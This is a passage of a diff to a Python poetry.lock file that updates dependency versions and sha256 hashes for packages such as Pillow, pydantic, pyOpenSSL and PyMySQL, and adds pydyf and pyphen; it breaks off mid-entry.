"Pillow-10.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ed64f9ca2f0a95411e88a4efbd7a29e5ce2cea36072c53dd9d26d9c76f753b3"}, + {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b6eb5502f45a60a3f411c63187db83a3d3107887ad0d036c13ce836f8a36f1d"}, + {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:c1fbe7621c167ecaa38ad29643d77a9ce7311583761abf7836e1510c580bf3dd"}, + {file = "Pillow-10.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:cd25d2a9d2b36fcb318882481367956d2cf91329f6892fe5d385c346c0649629"}, + {file = "Pillow-10.0.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3b08d4cc24f471b2c8ca24ec060abf4bebc6b144cb89cba638c720546b1cf538"}, + {file = "Pillow-10.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d737a602fbd82afd892ca746392401b634e278cb65d55c4b7a8f48e9ef8d008d"}, + {file = "Pillow-10.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:3a82c40d706d9aa9734289740ce26460a11aeec2d9c79b7af87bb35f0073c12f"}, + {file = "Pillow-10.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:bc2ec7c7b5d66b8ec9ce9f720dbb5fa4bace0f545acd34870eff4a369b44bf37"}, + {file = "Pillow-10.0.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:d80cf684b541685fccdd84c485b31ce73fc5c9b5d7523bf1394ce134a60c6883"}, + {file = "Pillow-10.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:76de421f9c326da8f43d690110f0e79fe3ad1e54be811545d7d91898b4c8493e"}, + {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:81ff539a12457809666fef6624684c008e00ff6bf455b4b89fd00a140eecd640"}, + {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce543ed15570eedbb85df19b0a1a7314a9c8141a36ce089c0a894adbfccb4568"}, + {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:685ac03cc4ed5ebc15ad5c23bc555d68a87777586d970c2c3e216619a5476223"}, + {file = "Pillow-10.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:d72e2ecc68a942e8cf9739619b7f408cc7b272b279b56b2c83c6123fcfa5cdff"}, + {file = "Pillow-10.0.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d50b6aec14bc737742ca96e85d6d0a5f9bfbded018264b3b70ff9d8c33485551"}, + {file = "Pillow-10.0.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:00e65f5e822decd501e374b0650146063fbb30a7264b4d2744bdd7b913e0cab5"}, + {file = "Pillow-10.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:f31f9fdbfecb042d046f9d91270a0ba28368a723302786c0009ee9b9f1f60199"}, + {file = "Pillow-10.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:1ce91b6ec08d866b14413d3f0bbdea7e24dfdc8e59f562bb77bc3fe60b6144ca"}, + {file = "Pillow-10.0.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:349930d6e9c685c089284b013478d6f76e3a534e36ddfa912cde493f235372f3"}, + {file = "Pillow-10.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:3a684105f7c32488f7153905a4e3015a3b6c7182e106fe3c37fbb5ef3e6994c3"}, + {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b4f69b3700201b80bb82c3a97d5e9254084f6dd5fb5b16fc1a7b974260f89f43"}, + {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3f07ea8d2f827d7d2a49ecf1639ec02d75ffd1b88dcc5b3a61bbb37a8759ad8d"}, + {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:040586f7d37b34547153fa383f7f9aed68b738992380ac911447bb78f2abe530"}, + {file = "Pillow-10.0.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:f88a0b92277de8e3ca715a0d79d68dc82807457dae3ab8699c758f07c20b3c51"}, + {file = "Pillow-10.0.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c7cf14a27b0d6adfaebb3ae4153f1e516df54e47e42dcc073d7b3d76111a8d86"}, + {file = "Pillow-10.0.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3400aae60685b06bb96f99a21e1ada7bc7a413d5f49bce739828ecd9391bb8f7"}, + {file = "Pillow-10.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:dbc02381779d412145331789b40cc7b11fdf449e5d94f6bc0b080db0a56ea3f0"}, + {file = "Pillow-10.0.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:9211e7ad69d7c9401cfc0e23d49b69ca65ddd898976d660a2fa5904e3d7a9baa"}, + {file = "Pillow-10.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:faaf07ea35355b01a35cb442dd950d8f1bb5b040a7787791a535de13db15ed90"}, + {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9f72a021fbb792ce98306ffb0c348b3c9cb967dce0f12a49aa4c3d3fdefa967"}, + {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9f7c16705f44e0504a3a2a14197c1f0b32a95731d251777dcb060aa83022cb2d"}, + {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:76edb0a1fa2b4745fb0c99fb9fb98f8b180a1bbceb8be49b087e0b21867e77d3"}, + {file = "Pillow-10.0.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:368ab3dfb5f49e312231b6f27b8820c823652b7cd29cfbd34090565a015e99ba"}, + {file = "Pillow-10.0.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:608bfdee0d57cf297d32bcbb3c728dc1da0907519d1784962c5f0c68bb93e5a3"}, + {file = "Pillow-10.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5c6e3df6bdd396749bafd45314871b3d0af81ff935b2d188385e970052091017"}, + {file = "Pillow-10.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:7be600823e4c8631b74e4a0d38384c73f680e6105a7d3c6824fcf226c178c7e6"}, + {file = "Pillow-10.0.0-pp310-pypy310_pp73-macosx_10_10_x86_64.whl", hash = "sha256:92be919bbc9f7d09f7ae343c38f5bb21c973d2576c1d45600fce4b74bafa7ac0"}, + {file = "Pillow-10.0.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f8182b523b2289f7c415f589118228d30ac8c355baa2f3194ced084dac2dbba"}, + {file = "Pillow-10.0.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:38250a349b6b390ee6047a62c086d3817ac69022c127f8a5dc058c31ccef17f3"}, + {file = "Pillow-10.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:88af2003543cc40c80f6fca01411892ec52b11021b3dc22ec3bc9d5afd1c5334"}, + {file = "Pillow-10.0.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:c189af0545965fa8d3b9613cfdb0cd37f9d71349e0f7750e1fd704648d475ed2"}, + {file = "Pillow-10.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce7b031a6fc11365970e6a5686d7ba8c63e4c1cf1ea143811acbb524295eabed"}, + {file = "Pillow-10.0.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:db24668940f82321e746773a4bc617bfac06ec831e5c88b643f91f122a785684"}, + {file = "Pillow-10.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:efe8c0681042536e0d06c11f48cebe759707c9e9abf880ee213541c5b46c5bf3"}, + {file = "Pillow-10.0.0.tar.gz", hash = "sha256:9c82b5b3e043c7af0d95792d0d20ccf68f61a1fec6b3530e718b688422727396"}, +] + +[package.extras] +docs = ["furo", "olefile", "sphinx (>=2.4)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinx-removed-in", "sphinxext-opengraph"] +tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] + [[package]] name = "platformdirs" -version = "3.9.1" +version = "3.10.0" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." optional = false python-versions = ">=3.7" files = [ - {file = "platformdirs-3.9.1-py3-none-any.whl", hash = "sha256:ad8291ae0ae5072f66c16945166cb11c63394c7a3ad1b1bc9828ca3162da8c2f"}, - {file = "platformdirs-3.9.1.tar.gz", hash = "sha256:1b42b450ad933e981d56e59f1b97495428c9bd60698baab9f3eb3d00d5822421"}, + {file = "platformdirs-3.10.0-py3-none-any.whl", hash = "sha256:d7c24979f292f916dc9cbf8648319032f551ea8c49a4c9bf2fb556a02070ec1d"}, + {file = "platformdirs-3.10.0.tar.gz", hash = "sha256:b45696dab2d7cc691a3226759c0d3b00c47c8b6e293d96f6436f733303f77f6d"}, ] [package.extras] -docs = ["furo (>=2023.5.20)", "proselint (>=0.13)", "sphinx (>=7.0.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"] -test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4.1)", "pytest-mock (>=3.10)"] +docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.1)", "sphinx-autodoc-typehints (>=1.24)"] +test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.4)", "pytest-cov (>=4.1)", "pytest-mock (>=3.11.1)"] [[package]] name = "pluggy" @@ -1203,47 +1566,47 @@ files = [ [[package]] name = "pydantic" -version = "1.10.11" +version = "1.10.12" description = "Data validation and settings management using python type hints" optional = false python-versions = ">=3.7" files = [ - {file = "pydantic-1.10.11-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ff44c5e89315b15ff1f7fdaf9853770b810936d6b01a7bcecaa227d2f8fe444f"}, - {file = "pydantic-1.10.11-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a6c098d4ab5e2d5b3984d3cb2527e2d6099d3de85630c8934efcfdc348a9760e"}, - {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16928fdc9cb273c6af00d9d5045434c39afba5f42325fb990add2c241402d151"}, - {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0588788a9a85f3e5e9ebca14211a496409cb3deca5b6971ff37c556d581854e7"}, - {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e9baf78b31da2dc3d3f346ef18e58ec5f12f5aaa17ac517e2ffd026a92a87588"}, - {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:373c0840f5c2b5b1ccadd9286782852b901055998136287828731868027a724f"}, - {file = "pydantic-1.10.11-cp310-cp310-win_amd64.whl", hash = "sha256:c3339a46bbe6013ef7bdd2844679bfe500347ac5742cd4019a88312aa58a9847"}, - {file = "pydantic-1.10.11-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08a6c32e1c3809fbc49debb96bf833164f3438b3696abf0fbeceb417d123e6eb"}, - {file = "pydantic-1.10.11-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a451ccab49971af043ec4e0d207cbc8cbe53dbf148ef9f19599024076fe9c25b"}, - {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b02d24f7b2b365fed586ed73582c20f353a4c50e4be9ba2c57ab96f8091ddae"}, - {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3f34739a89260dfa420aa3cbd069fbcc794b25bbe5c0a214f8fb29e363484b66"}, - {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e297897eb4bebde985f72a46a7552a7556a3dd11e7f76acda0c1093e3dbcf216"}, - {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d185819a7a059550ecb85d5134e7d40f2565f3dd94cfd870132c5f91a89cf58c"}, - {file = "pydantic-1.10.11-cp311-cp311-win_amd64.whl", hash = "sha256:4400015f15c9b464c9db2d5d951b6a780102cfa5870f2c036d37c23b56f7fc1b"}, - {file = "pydantic-1.10.11-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2417de68290434461a266271fc57274a138510dca19982336639484c73a07af6"}, - {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:331c031ba1554b974c98679bd0780d89670d6fd6f53f5d70b10bdc9addee1713"}, - {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8268a735a14c308923e8958363e3a3404f6834bb98c11f5ab43251a4e410170c"}, - {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:44e51ba599c3ef227e168424e220cd3e544288c57829520dc90ea9cb190c3248"}, - {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d7781f1d13b19700b7949c5a639c764a077cbbdd4322ed505b449d3ca8edcb36"}, - {file = "pydantic-1.10.11-cp37-cp37m-win_amd64.whl", hash = "sha256:7522a7666157aa22b812ce14c827574ddccc94f361237ca6ea8bb0d5c38f1629"}, - {file = "pydantic-1.10.11-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc64eab9b19cd794a380179ac0e6752335e9555d214cfcb755820333c0784cb3"}, - {file = "pydantic-1.10.11-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:8dc77064471780262b6a68fe67e013298d130414d5aaf9b562c33987dbd2cf4f"}, - {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe429898f2c9dd209bd0632a606bddc06f8bce081bbd03d1c775a45886e2c1cb"}, - {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:192c608ad002a748e4a0bed2ddbcd98f9b56df50a7c24d9a931a8c5dd053bd3d"}, - {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ef55392ec4bb5721f4ded1096241e4b7151ba6d50a50a80a2526c854f42e6a2f"}, - {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:41e0bb6efe86281623abbeeb0be64eab740c865388ee934cd3e6a358784aca6e"}, - {file = "pydantic-1.10.11-cp38-cp38-win_amd64.whl", hash = "sha256:265a60da42f9f27e0b1014eab8acd3e53bd0bad5c5b4884e98a55f8f596b2c19"}, - {file = "pydantic-1.10.11-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:469adf96c8e2c2bbfa655fc7735a2a82f4c543d9fee97bd113a7fb509bf5e622"}, - {file = "pydantic-1.10.11-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e6cbfbd010b14c8a905a7b10f9fe090068d1744d46f9e0c021db28daeb8b6de1"}, - {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abade85268cc92dff86d6effcd917893130f0ff516f3d637f50dadc22ae93999"}, - {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9738b0f2e6c70f44ee0de53f2089d6002b10c33264abee07bdb5c7f03038303"}, - {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:787cf23e5a0cde753f2eabac1b2e73ae3844eb873fd1f5bdbff3048d8dbb7604"}, - {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:174899023337b9fc685ac8adaa7b047050616136ccd30e9070627c1aaab53a13"}, - {file = "pydantic-1.10.11-cp39-cp39-win_amd64.whl", hash = "sha256:1954f8778489a04b245a1e7b8b22a9d3ea8ef49337285693cf6959e4b757535e"}, - {file = "pydantic-1.10.11-py3-none-any.whl", hash = "sha256:008c5e266c8aada206d0627a011504e14268a62091450210eda7c07fabe6963e"}, - {file = "pydantic-1.10.11.tar.gz", hash = "sha256:f66d479cf7eb331372c470614be6511eae96f1f120344c25f3f9bb59fb1b5528"}, + {file = "pydantic-1.10.12-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a1fcb59f2f355ec350073af41d927bf83a63b50e640f4dbaa01053a28b7a7718"}, + {file = "pydantic-1.10.12-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b7ccf02d7eb340b216ec33e53a3a629856afe1c6e0ef91d84a4e6f2fb2ca70fe"}, + {file = "pydantic-1.10.12-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8fb2aa3ab3728d950bcc885a2e9eff6c8fc40bc0b7bb434e555c215491bcf48b"}, + {file = "pydantic-1.10.12-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:771735dc43cf8383959dc9b90aa281f0b6092321ca98677c5fb6125a6f56d58d"}, + {file = "pydantic-1.10.12-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ca48477862372ac3770969b9d75f1bf66131d386dba79506c46d75e6b48c1e09"}, + {file = "pydantic-1.10.12-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a5e7add47a5b5a40c49b3036d464e3c7802f8ae0d1e66035ea16aa5b7a3923ed"}, + {file = "pydantic-1.10.12-cp310-cp310-win_amd64.whl", hash = "sha256:e4129b528c6baa99a429f97ce733fff478ec955513630e61b49804b6cf9b224a"}, + {file = "pydantic-1.10.12-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b0d191db0f92dfcb1dec210ca244fdae5cbe918c6050b342d619c09d31eea0cc"}, + {file = "pydantic-1.10.12-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:795e34e6cc065f8f498c89b894a3c6da294a936ee71e644e4bd44de048af1405"}, + {file = "pydantic-1.10.12-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:69328e15cfda2c392da4e713443c7dbffa1505bc9d566e71e55abe14c97ddc62"}, + {file = "pydantic-1.10.12-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2031de0967c279df0d8a1c72b4ffc411ecd06bac607a212892757db7462fc494"}, + {file = "pydantic-1.10.12-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:ba5b2e6fe6ca2b7e013398bc7d7b170e21cce322d266ffcd57cca313e54fb246"}, + {file = "pydantic-1.10.12-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:2a7bac939fa326db1ab741c9d7f44c565a1d1e80908b3797f7f81a4f86bc8d33"}, + {file = "pydantic-1.10.12-cp311-cp311-win_amd64.whl", hash = "sha256:87afda5539d5140cb8ba9e8b8c8865cb5b1463924d38490d73d3ccfd80896b3f"}, + {file = "pydantic-1.10.12-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:549a8e3d81df0a85226963611950b12d2d334f214436a19537b2efed61b7639a"}, + {file = "pydantic-1.10.12-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:598da88dfa127b666852bef6d0d796573a8cf5009ffd62104094a4fe39599565"}, + {file = "pydantic-1.10.12-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ba5c4a8552bff16c61882db58544116d021d0b31ee7c66958d14cf386a5b5350"}, + {file = "pydantic-1.10.12-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c79e6a11a07da7374f46970410b41d5e266f7f38f6a17a9c4823db80dadf4303"}, + {file = "pydantic-1.10.12-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ab26038b8375581dc832a63c948f261ae0aa21f1d34c1293469f135fa92972a5"}, + {file = "pydantic-1.10.12-cp37-cp37m-win_amd64.whl", hash = "sha256:e0a16d274b588767602b7646fa05af2782576a6cf1022f4ba74cbb4db66f6ca8"}, + {file = "pydantic-1.10.12-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6a9dfa722316f4acf4460afdf5d41d5246a80e249c7ff475c43a3a1e9d75cf62"}, + {file = "pydantic-1.10.12-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a73f489aebd0c2121ed974054cb2759af8a9f747de120acd2c3394cf84176ccb"}, + {file = "pydantic-1.10.12-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6b30bcb8cbfccfcf02acb8f1a261143fab622831d9c0989707e0e659f77a18e0"}, + {file = "pydantic-1.10.12-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2fcfb5296d7877af406ba1547dfde9943b1256d8928732267e2653c26938cd9c"}, + {file = "pydantic-1.10.12-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:2f9a6fab5f82ada41d56b0602606a5506aab165ca54e52bc4545028382ef1c5d"}, + {file = "pydantic-1.10.12-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:dea7adcc33d5d105896401a1f37d56b47d443a2b2605ff8a969a0ed5543f7e33"}, + {file = "pydantic-1.10.12-cp38-cp38-win_amd64.whl", hash = "sha256:1eb2085c13bce1612da8537b2d90f549c8cbb05c67e8f22854e201bde5d98a47"}, + {file = "pydantic-1.10.12-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ef6c96b2baa2100ec91a4b428f80d8f28a3c9e53568219b6c298c1125572ebc6"}, + {file = "pydantic-1.10.12-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:6c076be61cd0177a8433c0adcb03475baf4ee91edf5a4e550161ad57fc90f523"}, + {file = "pydantic-1.10.12-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d5a58feb9a39f481eda4d5ca220aa8b9d4f21a41274760b9bc66bfd72595b86"}, + {file = "pydantic-1.10.12-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e5f805d2d5d0a41633651a73fa4ecdd0b3d7a49de4ec3fadf062fe16501ddbf1"}, + {file = "pydantic-1.10.12-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:1289c180abd4bd4555bb927c42ee42abc3aee02b0fb2d1223fb7c6e5bef87dbe"}, + {file = "pydantic-1.10.12-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5d1197e462e0364906cbc19681605cb7c036f2475c899b6f296104ad42b9f5fb"}, + {file = "pydantic-1.10.12-cp39-cp39-win_amd64.whl", hash = "sha256:fdbdd1d630195689f325c9ef1a12900524dceb503b00a987663ff4f58669b93d"}, + {file = "pydantic-1.10.12-py3-none-any.whl", hash = "sha256:b749a43aa51e32839c9d71dc67eb1e4221bb04af1033a32e3923d46f9effa942"}, + {file = "pydantic-1.10.12.tar.gz", hash = "sha256:0fe8a415cea8f340e7a9af9c54fc71a649b43e8ca3cc732986116b3cb135d303"}, ] [package.dependencies] @@ -1253,6 +1616,21 @@ typing-extensions = ">=4.2.0" dotenv = ["python-dotenv (>=0.10.4)"] email = ["email-validator (>=1.0.3)"] +[[package]] +name = "pydyf" +version = "0.7.0" +description = "A low-level PDF generator." +optional = false +python-versions = ">=3.7" +files = [ + {file = "pydyf-0.7.0-py3-none-any.whl", hash = "sha256:23a753daa75adba387606c54eab4d5c9bca83f076be697e59f719d238753fb05"}, + {file = "pydyf-0.7.0.tar.gz", hash = "sha256:a5a88cb06e5beb64a1ef2147ee879b0e5139f5fdb827fda2fcf14a018c7b11e6"}, +] + +[package.extras] +doc = ["sphinx", "sphinx_rtd_theme"] +test = ["flake8", "isort", "pillow", "pytest"] + [[package]] name = "pygame" version = "2.5.0" @@ -1352,24 +1730,24 @@ hook-testing = ["execnet (>=1.5.0)", "psutil", "pytest (>=2.7.3)"] [[package]] name = "pyinstaller-hooks-contrib" -version = "2023.5" +version = "2023.6" description = "Community maintained hooks for PyInstaller" optional = false python-versions = ">=3.7" files = [ - {file = "pyinstaller-hooks-contrib-2023.5.tar.gz", hash = "sha256:cca6cdc31e739954b5bbbf05ef3f71fe448e9cdacad3a2197243bcf99bea2c00"}, - {file = "pyinstaller_hooks_contrib-2023.5-py2.py3-none-any.whl", hash = "sha256:e60185332a6b56691f471d364e9e9405b03091ca27c96e0dbebdedb7624457fd"}, + {file = "pyinstaller-hooks-contrib-2023.6.tar.gz", hash = "sha256:596a72009d8692b043e0acbf5e1b476d93149900142ba01845dded91a0770cb5"}, + {file = "pyinstaller_hooks_contrib-2023.6-py2.py3-none-any.whl", hash = "sha256:aa6d7d038814df6aa7bec7bdbebc7cb4c693d3398df858f6062957f0797d397b"}, ] [[package]] name = "pymysql" -version = "0.10.1" +version = "1.1.0" description = "Pure Python MySQL Driver" optional = false -python-versions = "*" +python-versions = ">=3.7" files = [ - {file = "PyMySQL-0.10.1-py2.py3-none-any.whl", hash = "sha256:44f47128dda8676e021c8d2dbb49a82be9e4ab158b9f03e897152a3a287c69ea"}, - {file = "PyMySQL-0.10.1.tar.gz", hash = "sha256:263040d2779a3b84930f7ac9da5132be0fefcd6f453a885756656103f8ee1fdd"}, + {file = "PyMySQL-1.1.0-py3-none-any.whl", hash = "sha256:8969ec6d763c856f7073c4c64662882675702efcb114b4bcbb955aea3a069fa7"}, + {file = "PyMySQL-1.1.0.tar.gz", hash = "sha256:4f13a7df8bf36a51e81dd9f3605fede45a4878fe02f9236349fd82a3f0612f96"}, ] [package.extras] @@ -1378,31 +1756,31 @@ rsa = ["cryptography"] [[package]] name = "pyopenssl" -version = "22.0.0" +version = "23.2.0" description = "Python wrapper module around the OpenSSL library" optional = false python-versions = ">=3.6" files = [ - {file = "pyOpenSSL-22.0.0-py2.py3-none-any.whl", hash = "sha256:ea252b38c87425b64116f808355e8da644ef9b07e429398bfece610f893ee2e0"}, - {file = "pyOpenSSL-22.0.0.tar.gz", hash = "sha256:660b1b1425aac4a1bea1d94168a85d99f0b3144c869dd4390d27629d0087f1bf"}, + {file = "pyOpenSSL-23.2.0-py3-none-any.whl", hash = "sha256:24f0dc5227396b3e831f4c7f602b950a5e9833d292c8e4a2e06b709292806ae2"}, + {file = "pyOpenSSL-23.2.0.tar.gz", hash = "sha256:276f931f55a452e7dea69c7173e984eb2a4407ce413c918aa34b55f82f9b8bac"}, ] [package.dependencies] -cryptography = ">=35.0" +cryptography = ">=38.0.0,<40.0.0 || >40.0.0,<40.0.1 || >40.0.1,<42" [package.extras] -docs = ["sphinx", "sphinx-rtd-theme"] +docs = ["sphinx (!=5.2.0,!=5.2.0.post0)", "sphinx-rtd-theme"] test = ["flaky", "pretend", "pytest (>=3.0.1)"] [[package]] name = "pyparsing" -version = "3.1.0" +version = "3.1.1" description = "pyparsing module - Classes and methods to define and execute parsing grammars" optional = false python-versions = ">=3.6.8" files = [ - {file = "pyparsing-3.1.0-py3-none-any.whl", hash = "sha256:d554a96d1a7d3ddaf7183104485bc19fd80543ad6ac5bdb6426719d766fb06c1"}, - {file = "pyparsing-3.1.0.tar.gz", hash = "sha256:edb662d6fe322d6e990b1594b5feaeadf806803359e3d4d42f11e295e588f0ea"}, + {file = "pyparsing-3.1.1-py3-none-any.whl", hash = "sha256:32c7c0b711493c72ff18a981d24f28aaf9c1fb7ed5e9667c9e84e3db623bdbfb"}, + {file = "pyparsing-3.1.1.tar.gz", hash = "sha256:ede28a1a32462f5a9705e07aea48001a08f7cf81a021585011deba701581a0db"}, ] [package.extras] @@ -1418,6 +1796,21 @@ files = [ {file = "pyperclip-1.8.2.tar.gz", hash = "sha256:105254a8b04934f0bc84e9c24eb360a591aaf6535c9def5f29d92af107a9bf57"}, ] +[[package]] +name = "pyphen" +version = "0.14.0" +description = "Pure Python module to hyphenate text" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pyphen-0.14.0-py3-none-any.whl", hash = "sha256:414c9355958ca3c6a3ff233f65678c245b8ecb56418fb291e2b93499d61cd510"}, + {file = "pyphen-0.14.0.tar.gz", hash = "sha256:596c8b3be1c1a70411ba5f6517d9ccfe3083c758ae2b94a45f2707346d8e66fa"}, +] + +[package.extras] +doc = ["sphinx", "sphinx_rtd_theme"] +test = ["flake8", "isort", "pytest"] + [[package]] name = "PySecretSOCKS" version = "0.9.1" @@ -1509,16 +1902,17 @@ pycryptodome = ["pyasn1", "pycryptodome (>=3.3.1,<4.0.0)"] [[package]] name = "python-multipart" -version = 